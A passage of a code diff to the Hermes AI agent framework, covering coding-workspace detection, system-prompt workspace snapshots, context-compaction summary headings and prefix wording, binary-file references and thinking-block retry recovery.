+ """Return the normalized ``agent.coding_context`` mode (auto/focus/on/off)."""
+ if config is None:
+ try:
+ from hermes_cli.config import load_config
+
+ config = load_config()
+ except Exception:
+ config = {}
+ raw = ((config or {}).get("agent", {}) or {}).get("coding_context", "auto")
+ mode = str(raw).strip().lower()
+ if mode in {"focus", "strict", "lean"}:
+ return "focus"
+ if mode in {"on", "true", "yes", "1", "always"}:
+ return "on"
+ if mode in {"off", "false", "no", "0", "never"}:
+ return "off"
+ return "auto"
+
+
+def _resolve_cwd(cwd: Optional[str | Path]) -> Path:
+ if cwd:
+ return Path(cwd).expanduser()
+ try:
+ from agent.runtime_cwd import resolve_agent_cwd
+
+ return resolve_agent_cwd()
+ except Exception:
+ return Path(os.getcwd())
+
+
+def _git_root(cwd: Path) -> Optional[Path]:
+ current = cwd.resolve()
+ for parent in [current, *current.parents]:
+ if (parent / ".git").exists():
+ return parent
+ return None
+
+
+def _home() -> Optional[Path]:
+ try:
+ return Path.home().resolve()
+ except (OSError, RuntimeError):
+ return None
+
+
+def _marker_root(cwd: Path) -> Optional[Path]:
+ """Nearest ancestor that looks like a project root, or ``None``.
+
+ Walks up at most a few levels so a manifest in the workspace root counts
+ even when the user is in a subdirectory. ``$HOME`` itself is skipped — a
+ Makefile or AGENTS.md sitting in the home directory is global user config,
+ not a project-root signal.
+ """
+ current = cwd.resolve()
+ home = _home()
+ for depth, parent in enumerate([current, *current.parents]):
+ if depth > 6:
+ break
+ if parent == home:
+ continue
+ for marker in _PROJECT_MARKERS:
+ if (parent / marker).exists():
+ return parent
+ return None
+
+
+def _detect_profile_name(mode: str, platform: str, cwd_str: str) -> str:
+ """Resolve which profile applies.
+
+ ``auto``/``focus``: coding when the surface is interactive AND the cwd is a
+ code workspace (a git repo or a recognised project root). ``on``: always
+ coding. ``off``: always general.
+
+ A git repo rooted at ``$HOME`` (the dotfiles pattern) is NOT a workspace
+ signal — without the guard, every session anywhere under a dotfiles-managed
+ home directory would silently flip to the coding posture.
+
+ Detection is intentionally not memoized: it's a handful of ``stat`` calls,
+ and callers resolve the mode once per session anyway. Caching here would
+ risk a stale posture if a long-lived process (gateway/TUI) serves sessions
+ from different working directories.
+ """
+ if mode == "off":
+ return GENERAL_PROFILE.name
+ if mode == "on":
+ return CODING_PROFILE.name
+ if platform and platform.strip().lower() not in INTERACTIVE_CODING_PLATFORMS:
+ return GENERAL_PROFILE.name
+ cwd = Path(cwd_str)
+ git_root = _git_root(cwd)
+ if git_root is not None and git_root == _home():
+ git_root = None # dotfiles repo at $HOME — not a code workspace
+ if git_root is not None or _marker_root(cwd) is not None:
+ return CODING_PROFILE.name
+ return GENERAL_PROFILE.name
+
+
+# ── RuntimeMode (the seam) ──────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class RuntimeMode:
+ """The resolved operating posture for a session. Immutable by construction.
+
+ Built once via :func:`resolve_runtime_mode` and consumed by every domain
+ that cares about the coding/general distinction. Never mutate or re-resolve
+ mid-session — that would break the prompt cache.
+ """
+
+ profile: ContextProfile
+ surface: str
+ cwd: Path
+ # The normalized ``agent.coding_context`` mode this posture was resolved
+ # under (auto/focus/on/off). Toolset collapse is gated on ``focus``.
+ config_mode: str = "auto"
+ # The model id this session runs (e.g. "anthropic/claude-opus-4.8"). Used
+ # only to steer edit-format guidance toward the model's family — see
+ # ``_edit_format_line``. Fixed for the session, so cache-safe.
+ model: Optional[str] = None
+
+ @property
+ def kind(self) -> str:
+ return self.profile.name
+
+ @property
+ def is_coding(self) -> bool:
+ return self.profile.name == CODING_PROFILE.name
+
+ def toolset_selection(self, config: Optional[dict[str, Any]] = None) -> Optional[list[str]]:
+ """Toolset list for this posture, or ``None`` to keep the platform default.
+
+ Non-``None`` only under the opt-in ``focus`` mode. The default posture
+ is prompt-only: most strippable toolsets are off-by-default anyway, and
+ a user who explicitly enabled one (image-gen for frontend/game assets,
+ messaging for build notifications, …) keeps it while coding.
+
+ Callers apply this only when the user hasn't pinned an explicit
+ selection (``--toolsets``, ``HERMES_TUI_TOOLSETS``, …); they never
+ override a pin. Returns the profile's toolset plus enabled MCP servers.
+ """
+ if self.config_mode != "focus":
+ return None
+ if self.profile.toolset is None:
+ return None
+ return [self.profile.toolset, *_enabled_mcp_servers(config)]
+
+ def system_blocks(self) -> list[str]:
+ """Stable system-prompt blocks for this posture (brief + workspace).
+
+ The operating brief carries a model-family edit-format nudge appended
+ to it (one cached string, not a separate block) so the model is steered
+ toward the `patch` mode it handles best — see ``_edit_format_line``.
+ """
+ if not self.is_coding:
+ return []
+ blocks: list[str] = []
+ if self.profile.guidance:
+ brief = self.profile.guidance
+ edit_line = _edit_format_line(self.model)
+ if edit_line:
+ brief = f"{brief}\n{edit_line}"
+ blocks.append(brief)
+ workspace = build_coding_workspace_block(self.cwd)
+ if workspace:
+ blocks.append(workspace)
+ return blocks
+
+ def compact_skill_categories(self) -> frozenset[str]:
+ """Skill categories to demote to names-only in the prompt's skill index.
+
+ Gated on the opt-in ``focus`` mode, like the toolset collapse: the
+ default posture leaves the skill index untouched. Users who didn't ask
+ for a lean prompt keep full entries for every category — index changes
+ under ``auto`` proved too surprising in practice, even names-only ones
+ (a demoted description is information the model no longer weighs when
+ deciding what to load).
+
+ Demoted — never hidden — even under ``focus``. An earlier revision
+ fully pruned these categories from the index, which caused silent
+ capability loss in a real workflow: agent-created skills are the
+ model's accumulated project memory (server-ops runbooks, learned
+ pitfalls, …), and models do not reliably reach for ``skills_list`` to
+ rediscover what the index stopped showing them. Names-only keeps every
+ skill loadable on recall while still cutting the description noise.
+ """
+ if not self.is_coding or self.config_mode != "focus":
+ return frozenset()
+ return frozenset(self.profile.compact_skill_categories)
+
+
+def resolve_runtime_mode(
+ *,
+ platform: Optional[str] = None,
+ cwd: Optional[str | Path] = None,
+ config: Optional[dict[str, Any]] = None,
+ model: Optional[str] = None,
+) -> RuntimeMode:
+ """Resolve the operating posture once. Cheap — a handful of ``stat`` calls.
+
+ This is the single entry point every domain should call. The returned
+ object is immutable and safe to cache for the session. Detection itself is
+ intentionally *not* memoized (see ``_detect_profile_name``) so a long-lived
+ process can't pin a stale posture; callers resolve once per session and
+ hold the result. ``model`` is recorded only to steer edit-format guidance;
+ it never affects detection.
+ """
+ resolved_cwd = _resolve_cwd(cwd)
+ mode = _coding_mode(config)
+ name = _detect_profile_name(
+ mode, (platform or "").strip().lower(), str(resolved_cwd)
+ )
+ return RuntimeMode(
+ profile=get_profile(name),
+ surface=platform or "",
+ cwd=resolved_cwd,
+ config_mode=mode,
+ model=model,
+ )
+
+
+# ── Back-compat surface (thin wrappers over RuntimeMode) ────────────────────
+
+
+def is_coding_context(
+ *,
+ platform: Optional[str] = None,
+ cwd: Optional[str | Path] = None,
+ config: Optional[dict[str, Any]] = None,
+) -> bool:
+ """Whether Hermes should operate in its coding posture right now."""
+ return resolve_runtime_mode(platform=platform, cwd=cwd, config=config).is_coding
+
+
+def coding_selection(
+ *,
+ platform: Optional[str] = None,
+ cwd: Optional[str | Path] = None,
+ config: Optional[dict[str, Any]] = None,
+) -> Optional[list[str]]:
+ """Toolset selection for the coding posture.
+
+ ``None`` unless the user opted into ``focus`` mode AND the posture is
+ active — the default coding posture never overrides configured toolsets.
+ """
+ return resolve_runtime_mode(
+ platform=platform, cwd=cwd, config=config
+ ).toolset_selection(config)
+
+
+def coding_system_blocks(
+ *,
+ platform: Optional[str] = None,
+ cwd: Optional[str | Path] = None,
+ config: Optional[dict[str, Any]] = None,
+ model: Optional[str] = None,
+) -> list[str]:
+ """Stable system-prompt blocks for the current posture (empty when general).
+
+ ``model`` steers the brief's edit-format nudge toward the model's family.
+ """
+ return resolve_runtime_mode(
+ platform=platform, cwd=cwd, config=config, model=model
+ ).system_blocks()
+
+
+def coding_compact_skill_categories(
+ *,
+ platform: Optional[str] = None,
+ cwd: Optional[str | Path] = None,
+ config: Optional[dict[str, Any]] = None,
+) -> frozenset[str]:
+ """Skill categories the active posture demotes to names-only in the index.
+
+ Empty outside the coding posture and outside the opt-in ``focus`` mode —
+ the default posture never touches the skill index. Under ``focus``,
+ demoted — never hidden: every skill name stays in the index and remains
+ loadable via ``skill_view`` / ``skills_list``; only descriptions are
+ dropped.
+ """
+ return resolve_runtime_mode(
+ platform=platform, cwd=cwd, config=config
+ ).compact_skill_categories()
+
+
+def _enabled_mcp_servers(config: Optional[dict[str, Any]]) -> list[str]:
+ """Names of MCP servers the user has enabled — kept in the coding posture.
+
+ MCP servers (figma, browser, tophat, …) are explicitly configured and part
+ of the coding workflow, not noise to strip.
+ """
+ try:
+ from hermes_cli.config import read_raw_config
+ from hermes_cli.tools_config import _parse_enabled_flag
+
+ servers = read_raw_config().get("mcp_servers") or {}
+ return [
+ str(name)
+ for name, cfg in servers.items()
+ if isinstance(cfg, dict)
+ and _parse_enabled_flag(cfg.get("enabled", True), default=True)
+ ]
+ except Exception:
+ return []
+
+
+# ── git/workspace probe ─────────────────────────────────────────────────────
+
+
+def _git(cwd: Path, *args: str) -> str:
+ try:
+ out = subprocess.run(
+ ["git", "-C", str(cwd), *args],
+ capture_output=True,
+ text=True,
+ timeout=_GIT_TIMEOUT,
+ )
+ except (OSError, subprocess.SubprocessError):
+ return ""
+ return out.stdout.strip() if out.returncode == 0 else ""
+
+
+def _parse_status(porcelain: str) -> tuple[dict[str, str], dict[str, int]]:
+ """Parse ``git status --porcelain=2 --branch`` into branch + counts."""
+ branch: dict[str, str] = {}
+ counts = {"staged": 0, "modified": 0, "untracked": 0, "conflicts": 0}
+ for line in porcelain.splitlines():
+ if line.startswith("# branch.head"):
+ branch["head"] = line.split(maxsplit=2)[-1]
+ elif line.startswith("# branch.upstream"):
+ branch["upstream"] = line.split(maxsplit=2)[-1]
+ elif line.startswith("# branch.ab"):
+ parts = line.split()
+ branch["ahead"], branch["behind"] = parts[2].lstrip("+"), parts[3].lstrip("-")
+ elif line.startswith(("1 ", "2 ")):
+ xy = line.split(maxsplit=2)[1]
+ if xy[0] != ".":
+ counts["staged"] += 1
+ if xy[1] != ".":
+ counts["modified"] += 1
+ elif line.startswith("u "):
+ counts["conflicts"] += 1
+ elif line.startswith("? "):
+ counts["untracked"] += 1
+ return branch, counts
+
+
+def _read_small(path: Path) -> str:
+ """Read a small text file, or ``""`` — never raises, never reads huge files."""
+ try:
+ if not path.is_file() or path.stat().st_size > _MAX_FACT_FILE_BYTES:
+ return ""
+ return path.read_text(encoding="utf-8", errors="replace")
+ except OSError:
+ return ""
+
+
+def _project_facts(root: Path) -> list[str]:
+ """Detected project facts for the workspace snapshot.
+
+ The point is to hand the model its *verify loop* up front — which manifest,
+ which package manager, and the exact test/lint/build commands — instead of
+ making it rediscover them every session. Cheap: stat calls plus reads of a
+ couple of small files; built once at prompt-build time (cache-safe).
+ """
+ facts: list[str] = []
+
+ manifests = [m for m in _PROJECT_MARKERS if m not in _CONTEXT_FILES and (root / m).is_file()]
+ package_managers = [
+ pm for lock, pm in (*_PY_LOCKFILES, *_JS_LOCKFILES) if (root / lock).is_file()
+ ]
+ if manifests:
+ line = f"- Project: {', '.join(manifests[:6])}"
+ if package_managers:
+ line += f" ({'/'.join(dict.fromkeys(package_managers))})"
+ facts.append(line)
+
+ verify: list[str] = []
+ if (root / "scripts" / "run_tests.sh").is_file():
+ verify.append("scripts/run_tests.sh")
+ if (root / "package.json").is_file():
+ try:
+ scripts = json.loads(_read_small(root / "package.json") or "{}").get("scripts") or {}
+ except (json.JSONDecodeError, AttributeError):
+ scripts = {}
+ js_pm = next((pm for lock, pm in _JS_LOCKFILES if (root / lock).is_file()), "npm")
+ verify.extend(f"{js_pm} run {name}" for name in _VERIFY_TARGETS if name in scripts)
+ if (root / "pytest.ini").is_file() or "[tool.pytest" in _read_small(root / "pyproject.toml"):
+ verify.append("pytest")
+ makefile = _read_small(root / "Makefile")
+ if makefile:
+ verify.extend(
+ f"make {name}" for name in _VERIFY_TARGETS
+ if re.search(rf"^{re.escape(name)}\s*:", makefile, re.MULTILINE)
+ )
+ if verify:
+ deduped = list(dict.fromkeys(verify))[:_MAX_VERIFY_COMMANDS]
+ facts.append(f"- Verify: {'; '.join(deduped)}")
+
+ context_files = [c for c in _CONTEXT_FILES if (root / c).is_file()]
+ if context_files:
+ facts.append(f"- Context files: {', '.join(context_files)}")
+
+ return facts
+
+
+def build_coding_workspace_block(cwd: Optional[str | Path] = None) -> str:
+ """Workspace snapshot for the system prompt (empty outside a workspace).
+
+ Git state (branch/status/commits) when the cwd is in a repo, plus detected
+ project facts (manifest, package manager, verify commands, context files)
+ — so marker-only (non-git) projects still get a snapshot.
+ """
+ resolved = _resolve_cwd(cwd)
+ git_root = _git_root(resolved)
+ root = git_root or _marker_root(resolved)
+ if root is None:
+ return ""
+
+ lines = ["Workspace (snapshot at session start — re-check with `git` before acting on it):"]
+ lines.append(f"- Root: {root}")
+
+ if git_root is not None:
+ branch, counts = _parse_status(_git(root, "status", "--porcelain=2", "--branch"))
+ head = branch.get("head", "")
+ if head and head != "(detached)":
+ line = f"- Branch: {head}"
+ if branch.get("upstream"):
+ line += f" \u2192 {branch['upstream']}"
+ ahead, behind = branch.get("ahead", "0"), branch.get("behind", "0")
+ if ahead != "0" or behind != "0":
+ line += f" (ahead {ahead}, behind {behind})"
+ lines.append(line)
+ elif head == "(detached)":
+ lines.append("- Branch: (detached HEAD)")
+
+ # Linked worktree: the per-worktree git dir differs from the shared common dir.
+ # We surface the fact that it's a worktree (so the model knows branches/stashes
+ # are shared state) but deliberately do NOT expose the primary tree path —
+ # giving the model a second absolute path causes it to sometimes run commands
+ # in the wrong directory.
+ git_dir, common_dir = _git(root, "rev-parse", "--git-dir"), _git(root, "rev-parse", "--git-common-dir")
+ if git_dir and common_dir and Path(git_dir).resolve() != Path(common_dir).resolve():
+ lines.append("- Worktree: linked (git state shared with primary tree)")
+
+ dirty = [f"{n} {label}" for label, n in (
+ ("staged", counts["staged"]), ("modified", counts["modified"]),
+ ("untracked", counts["untracked"]), ("conflicts", counts["conflicts"]),
+ ) if n]
+ lines.append(f"- Status: {', '.join(dirty) if dirty else 'clean'}")
+
+ recent = _git(root, "log", "-3", "--pretty=%h %s")
+ if recent:
+ lines.append("- Recent commits:")
+ lines.extend(f" {c}" for c in recent.splitlines())
+
+ lines.extend(_project_facts(root))
+ return "\n".join(lines)
diff --git a/agent/context_compressor.py b/agent/context_compressor.py
index 98d226b46af0..4611616085f8 100644
--- a/agent/context_compressor.py
+++ b/agent/context_compressor.py
@@ -7,7 +7,7 @@
Improvements over v2:
- Structured summary template with Resolved/Pending question tracking
- Filter-safe summarizer preamble that treats prior turns as source material
- - "Remaining Work" replaces "Next Steps" to avoid reading as active instructions
+ - Historical (reference-only) section headings replace "Next Steps"/"Remaining Work" to avoid reading as active instructions
- Clear separator when summary merges into tail message
- Iterative summary updates (preserves info across multiple compactions)
- Token-budget tail protection instead of fixed message count
@@ -34,6 +34,12 @@
logger = logging.getLogger(__name__)
+HISTORICAL_TASK_HEADING = "## Historical Task Snapshot"
+HISTORICAL_IN_PROGRESS_HEADING = "## Historical In-Progress State"
+HISTORICAL_PENDING_ASKS_HEADING = "## Historical Pending User Asks"
+HISTORICAL_REMAINING_WORK_HEADING = "## Historical Remaining Work"
+
+
SUMMARY_PREFIX = (
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
"into the summary below. This is a handoff from a previous context "
@@ -43,12 +49,14 @@
"Respond ONLY to the latest user message that appears AFTER this "
"summary — that message is the single source of truth for what to do "
"right now. "
- "If the latest user message is consistent with the '## Active Task' "
- "section, you may use the summary as background. If the latest user "
- "message contradicts, supersedes, changes topic from, or in any way "
- "diverges from '## Active Task' / '## In Progress' / '## Pending User "
- "Asks' / '## Remaining Work', the latest message WINS — discard those "
- "stale items entirely and do not 'wrap up the old task first'. "
+ "Topic overlap with the summary does NOT mean you should resume its "
+ "task: even on similar topics, the latest user message WINS. Treat ONLY "
+ "the latest message as the active task and discard stale items from "
+ f"'{HISTORICAL_TASK_HEADING}' / '{HISTORICAL_IN_PROGRESS_HEADING}' / "
+ f"'{HISTORICAL_PENDING_ASKS_HEADING}' / "
+ f"'{HISTORICAL_REMAINING_WORK_HEADING}' entirely — do not 'wrap up' or "
+ "'finish' work described there unless the latest message explicitly "
+ "asks for it. "
"Reverse signals in the latest message (e.g. 'stop', 'undo', 'roll "
"back', 'just verify', 'don't do that anymore', 'never mind', a new "
"topic) must immediately end any in-flight work described in the "
@@ -68,6 +76,31 @@
# embedded in the body and keeps hijacking replies. Keep newest-first; entries
# are matched literally. Add a frozen copy here whenever SUMMARY_PREFIX changes.
_HISTORICAL_SUMMARY_PREFIXES = (
+ # Carveout era (#41607/#38364/#42812): "consistent → use as background"
+ # licensed stale-task resumption on topic overlap.
+ "[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
+ "into the summary below. This is a handoff from a previous context "
+ "window — treat it as background reference, NOT as active instructions. "
+ "Do NOT answer questions or fulfill requests mentioned in this summary; "
+ "they were already addressed. "
+ "Respond ONLY to the latest user message that appears AFTER this "
+ "summary — that message is the single source of truth for what to do "
+ "right now. "
+ "If the latest user message is consistent with the '## Active Task' "
+ "section, you may use the summary as background. If the latest user "
+ "message contradicts, supersedes, changes topic from, or in any way "
+ "diverges from '## Active Task' / '## In Progress' / '## Pending User "
+ "Asks' / '## Remaining Work', the latest message WINS — discard those "
+ "stale items entirely and do not 'wrap up the old task first'. "
+ "Reverse signals in the latest message (e.g. 'stop', 'undo', 'roll "
+ "back', 'just verify', 'don't do that anymore', 'never mind', a new "
+ "topic) must immediately end any in-flight work described in the "
+ "summary; do not re-surface it in later turns. "
+ "IMPORTANT: Your persistent memory (MEMORY.md, USER.md) in the system "
+ "prompt is ALWAYS authoritative and active — never ignore or deprioritize "
+ "memory content due to this compaction note. "
+ "The current session state (files, config, etc.) may reflect work "
+ "described here — avoid repeating it:",
# Pre-#35344: contained the self-contradicting "resume exactly" directive.
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
"into the summary below. This is a handoff from a previous context "
@@ -110,10 +143,18 @@
# become another unbounded transcript copy after the LLM summarizer failed.
_FALLBACK_SUMMARY_MAX_CHARS = 8_000
_FALLBACK_TURN_MAX_CHARS = 700
+_AUTO_FOCUS_MAX_TURNS = 3
+_AUTO_FOCUS_TURN_MAX_CHARS = 260
+_AUTO_FOCUS_MAX_CHARS = 700
_PATH_MENTION_RE = re.compile(r"(?:/|~/?|[A-Za-z]:\\)[^\s`'\")\]}<>]+")
+# MEDIA delivery directives must not reach the summarizer — if one leaks into
+# the summary, the downstream model may re-emit it as an active directive on
+# the next turn, triggering bogus attachment sends (#14665).
+_MEDIA_DIRECTIVE_RE = re.compile(r"MEDIA:\S+")
+
def _dedupe_append(items: list[str], value: str, *, limit: int) -> None:
value = value.strip()
@@ -974,6 +1015,7 @@ def _serialize_for_summary(self, turns: List[Dict[str, Any]]) -> str:
for msg in turns:
role = msg.get("role", "unknown")
content = redact_sensitive_text(msg.get("content") or "")
+ content = _MEDIA_DIRECTIVE_RE.sub("[media attachment]", content)
# Tool results: keep enough content for the summarizer
if role == "tool":
@@ -1155,7 +1197,7 @@ def _bullets(items: list[str], limit: int = 8) -> str:
)
reason_text = f" Summary failure reason: {reason}." if reason else ""
- body = f"""## Active Task
+ body = f"""{HISTORICAL_TASK_HEADING}
{active_task}
## Goal
@@ -1172,7 +1214,7 @@ def _bullets(items: list[str], limit: int = 8) -> str:
## Active State
Unknown from deterministic fallback. Inspect current repository/session state if needed.
-## In Progress
+{HISTORICAL_IN_PROGRESS_HEADING}
{active_task}
## Blocked
@@ -1184,13 +1226,13 @@ def _bullets(items: list[str], limit: int = 8) -> str:
## Resolved Questions
None recoverable from deterministic fallback.
-## Pending User Asks
+{HISTORICAL_PENDING_ASKS_HEADING}
{active_task}
## Relevant Files
{_bullets(relevant_files, limit=12)}
-## Remaining Work
+{HISTORICAL_REMAINING_WORK_HEADING}
Continue from the most recent unfulfilled user ask and protected tail messages. Verify state with tools before making claims.
## Last Dropped Turns
@@ -1312,7 +1354,7 @@ def _generate_summary(
_temporal_anchoring_rule = ""
# Shared structured template (used by both paths).
- _template_sections = f"""## Active Task
+ _template_sections = f"""{HISTORICAL_TASK_HEADING}
[THE SINGLE MOST IMPORTANT FIELD. Capture the user's most recent unfulfilled
input verbatim — the exact words they used. This includes:
- Explicit task assignments ("refactor the auth module")
@@ -1359,7 +1401,7 @@ def _generate_summary(
- Any running processes or servers
- Environment details that matter]
-## In Progress
+{HISTORICAL_IN_PROGRESS_HEADING}
[Work currently underway — what was being done when compaction fired]
## Blocked
@@ -1371,14 +1413,14 @@ def _generate_summary(
## Resolved Questions
[Questions the user asked that were ALREADY answered — include the answer so it is not repeated]
-## Pending User Asks
-[Questions or requests from the user that have NOT yet been answered or fulfilled. If none, write "None."]
+{HISTORICAL_PENDING_ASKS_HEADING}
+[Questions or requests from the user that have NOT yet been answered or fulfilled. These are STALE — they were from the compacted turns. Write them here for reference only. The agent must NOT act on them unless the latest user message explicitly requests it. If none, write "None."]
## Relevant Files
[Files read, modified, or created — with brief note on each]
-## Remaining Work
-[What remains to be done — framed as context, not instructions]
+{HISTORICAL_REMAINING_WORK_HEADING}
+[What remains to be done — framed as STALE context for reference only. The agent must NOT resume this work unless the latest user message explicitly asks for it.]
## Critical Context
[Any specific values, error messages, configuration details, or data that would be lost without explicit preservation. NEVER include API keys, tokens, passwords, or credentials — write [REDACTED] instead.]
@@ -1421,7 +1463,7 @@ def _generate_summary(
prompt += f"""
FOCUS TOPIC: "{focus_topic}"
-The user has requested that this compaction PRIORITISE preserving all information related to the focus topic above. For content related to "{focus_topic}", include full detail — exact values, file paths, command outputs, error messages, and decisions. For content NOT related to the focus topic, summarise more aggressively (brief one-liners or omit if truly irrelevant). The focus topic sections should receive roughly 60-70% of the summary token budget. Even for the focus topic, NEVER preserve API keys, tokens, passwords, or credentials — use [REDACTED]."""
+This compaction should PRIORITISE preserving all information related to the focus topic above. For content related to "{focus_topic}", include full detail — exact values, file paths, command outputs, error messages, and decisions. For content NOT related to the focus topic, summarise more aggressively (brief one-liners or omit if truly irrelevant). The focus topic sections should receive roughly 60-70% of the summary token budget. Even for the focus topic, NEVER preserve API keys, tokens, passwords, or credentials — use [REDACTED]."""
try:
call_kwargs = {
@@ -1590,6 +1632,39 @@ def _is_context_summary_content(content: Any) -> bool:
return True
return any(text.startswith(p) for p in _HISTORICAL_SUMMARY_PREFIXES)
+ @classmethod
+ def _derive_auto_focus_topic(
+ cls,
+ messages: List[Dict[str, Any]],
+ ) -> Optional[str]:
+ """Infer a compact focus hint from the most recent real user turns."""
+ candidates: list[str] = []
+ for idx in range(len(messages) - 1, -1, -1):
+ msg = messages[idx]
+ if msg.get("role") != "user":
+ continue
+ content = msg.get("content")
+ if cls._is_context_summary_content(content):
+ continue
+ text = redact_sensitive_text(_content_text_for_contains(content).strip())
+ if not text:
+ continue
+ text = " ".join(text.split())
+ if len(text) > _AUTO_FOCUS_TURN_MAX_CHARS:
+ text = text[: _AUTO_FOCUS_TURN_MAX_CHARS - 1].rstrip() + "…"
+ candidates.append(text)
+ if len(candidates) >= _AUTO_FOCUS_MAX_TURNS:
+ break
+
+ if not candidates:
+ return None
+
+ candidates.reverse()
+ focus = "Recent user focus:\n" + "\n".join(f"- {item}" for item in candidates)
+ if len(focus) > _AUTO_FOCUS_MAX_CHARS:
+ focus = focus[: _AUTO_FOCUS_MAX_CHARS - 1].rstrip() + "…"
+ return focus
+
@classmethod
def _find_latest_context_summary(
cls,
@@ -1753,7 +1828,7 @@ def _ensure_last_user_message_in_tail(
Context compressor bug (#10896): ``_align_boundary_backward`` can pull
``cut_idx`` past a user message when it tries to keep tool_call/result
groups together. If the last user message ends up in the *compressed*
- middle region the LLM summariser writes it into "Pending User Asks",
+ middle region the LLM summariser writes it into "Historical Pending User Asks",
but ``SUMMARY_PREFIX`` tells the next model to respond only to user
messages *after* the summary — so the task effectively disappears from
the active context, causing the agent to stall, repeat completed work,
@@ -2037,7 +2112,8 @@ def compress(self, messages: List[Dict[str, Any]], current_tokens: int = None, f
)
# Phase 3: Generate structured summary
- summary = self._generate_summary(turns_to_summarize, focus_topic=focus_topic)
+ summary_focus_topic = focus_topic or self._derive_auto_focus_topic(messages)
+ summary = self._generate_summary(turns_to_summarize, focus_topic=summary_focus_topic)
# If summary generation failed, behavior splits on
# ``abort_on_summary_failure`` (config: compression.abort_on_summary_failure):
diff --git a/agent/context_references.py b/agent/context_references.py
index dc03ccd740be..6307033d2706 100644
--- a/agent/context_references.py
+++ b/agent/context_references.py
@@ -246,7 +246,14 @@ def _expand_file_reference(
if not path.is_file():
return f"{ref.raw}: path is not a file", None
if _is_binary_file(path):
- return f"{ref.raw}: binary files are not supported", None
+ # A binary file can't be inlined as text, but it IS on disk (the agent's
+ # tools run where this resolves — the local cwd, or the staged copy in a
+ # remote session workspace). Returning a bare "not supported" warning
+ # with no content was a dead end: the model saw a failure and gave up
+ # (told the user the file type wasn't supported). Instead, hand it an
+ # actionable block — the path, type, size, and a nudge to use its tools —
+ # so it can read/convert/view the file itself.
+ return None, _binary_reference_block(ref, path)
text = path.read_text(encoding="utf-8")
if ref.line_start is not None:
@@ -493,6 +500,30 @@ def _rg_files(path: Path, cwd: Path, limit: int) -> list[Path] | None:
return files[:limit]
+def _human_bytes(n: int) -> str:
+ size = float(n)
+ for unit in ("B", "KB", "MB", "GB"):
+ if size < 1024 or unit == "GB":
+ return f"{int(size)} {unit}" if unit == "B" else f"{size:.1f} {unit}"
+ size /= 1024
+ return f"{size:.1f} GB"
+
+
+def _binary_reference_block(ref: ContextReference, path: Path) -> str:
+ mime, _ = mimetypes.guess_type(path.name)
+ mime = mime or "application/octet-stream"
+ try:
+ size = _human_bytes(path.stat().st_size)
+ except OSError:
+ size = "unknown size"
+ return (
+ f"📎 {ref.raw} ({mime}, {size}) — binary file, not inlined as text. "
+ f"It is available on disk at `{path}`. Use your tools to work with it "
+ f"(read or convert it, extract its text, or view/render it as needed); "
+ f"do not tell the user the file type is unsupported."
+ )
+
+
def _file_metadata(path: Path) -> str:
if _is_binary_file(path):
return f"{path.stat().st_size} bytes"
diff --git a/agent/conversation_loop.py b/agent/conversation_loop.py
index 73bed6b0670d..8850b7fd565a 100644
--- a/agent/conversation_loop.py
+++ b/agent/conversation_loop.py
@@ -2221,30 +2221,54 @@ def _perform_api_call(next_api_kwargs):
print(f"{agent.log_prefix} • Legacy cleanup: hermes config set ANTHROPIC_TOKEN \"\"")
print(f"{agent.log_prefix} • Clear stale keys: hermes config set ANTHROPIC_API_KEY \"\"")
- # ── Thinking block signature recovery ─────────────────
+ # Thinking block signature recovery.
+ #
# Anthropic signs thinking blocks against the full turn
- # content. Any upstream mutation (context compression,
+ # content. Any upstream mutation (context compression,
# session truncation, message merging) invalidates the
- # signature → HTTP 400. Recovery: strip reasoning_details
- # from all messages so the next retry sends no thinking
- # blocks at all. One-shot — don't retry infinitely.
+ # signature and the API replies HTTP 400 ("invalid
+ # signature" or "cannot be modified"). Recovery strips
+ # ``reasoning_details`` so the retry sends no thinking
+ # blocks at all. One-shot per outer loop.
+ #
+ # The strip targets ``api_messages``, which is the
+ # API-call-time list that ``_build_api_kwargs`` consumes
+ # on every retry. ``api_messages`` was populated once at
+ # the start of the turn from shallow copies of
+ # ``messages``, so mutating it does not touch the
+ # canonical store. The previous implementation popped
+ # ``reasoning_details`` from ``messages`` instead, which
+ # had two problems: ``api_messages`` carried its own
+ # reference to the field through the shallow copy, so the
+ # retry's wire payload still included thinking blocks and
+ # the recovery never reached the API; and the mutation
+ # persisted into ``state.db`` through any subsequent
+ # ``_persist_session`` call, permanently corrupting the
+ # conversation. Future turns would replay the stripped
+ # state, hit the same 400, and the agent would terminate
+ # with ``max_retries_exhausted``, often spawning
+ # cascading compaction-ended sessions chained off the
+ # corrupted parent.
if (
classified.reason == FailoverReason.thinking_signature
and not _retry.thinking_sig_retry_attempted
):
_retry.thinking_sig_retry_attempted = True
- for _m in messages:
- if isinstance(_m, dict):
+ _api_stripped = 0
+ for _m in api_messages:
+ if isinstance(_m, dict) and "reasoning_details" in _m:
_m.pop("reasoning_details", None)
+ _api_stripped += 1
agent._vprint(
- f"{agent.log_prefix}⚠️ Thinking block signature invalid — "
- f"stripped all thinking blocks, retrying...",
+ f"{agent.log_prefix}⚠️ Thinking block signature invalid, "
+ f"stripped reasoning_details from api_messages for retry...",
force=True,
)
logger.warning(
"%sThinking block signature recovery: stripped "
- "reasoning_details from %d messages",
- agent.log_prefix, len(messages),
+ "reasoning_details from %d api_messages "
+ "(canonical messages unchanged)",
+ agent.log_prefix, _api_stripped,
)
continue
diff --git a/agent/credits_tracker.py b/agent/credits_tracker.py
index 79d05dbb196c..19e5b1582dae 100644
--- a/agent/credits_tracker.py
+++ b/agent/credits_tracker.py
@@ -194,17 +194,71 @@ class AgentNotice:
id: Optional[str] = None
+# ── is_free_tier_model (local-data-only free-model check) ────────────────────
+
+
+def is_free_tier_model(model: str, base_url: str = "") -> bool:
+ """Return True when *model* is a Nous free-tier model, using ONLY local data.
+
+ Two signals, both zero-network:
+
+ 1. The ``:free`` suffix — the canonical Nous free SKU marker (e.g.
+ ``nvidia/nemotron-3-ultra:free``). Free by construction on the API side
+ (spend is forced to 0 for ``:free`` ids).
+ 2. A peek into the in-process pricing cache in ``hermes_cli.models``
+ (populated when the model picker fetched ``/v1/models`` pricing for
+ *base_url*). PEEK ONLY — a cache miss never triggers a fetch. This is
+ CLI/TUI-session best-effort: gateway sessions never run the picker's
+ pricing fetch, so suppression there rests entirely on the ``:free``
+ suffix (which all Nous free SKUs carry).
+
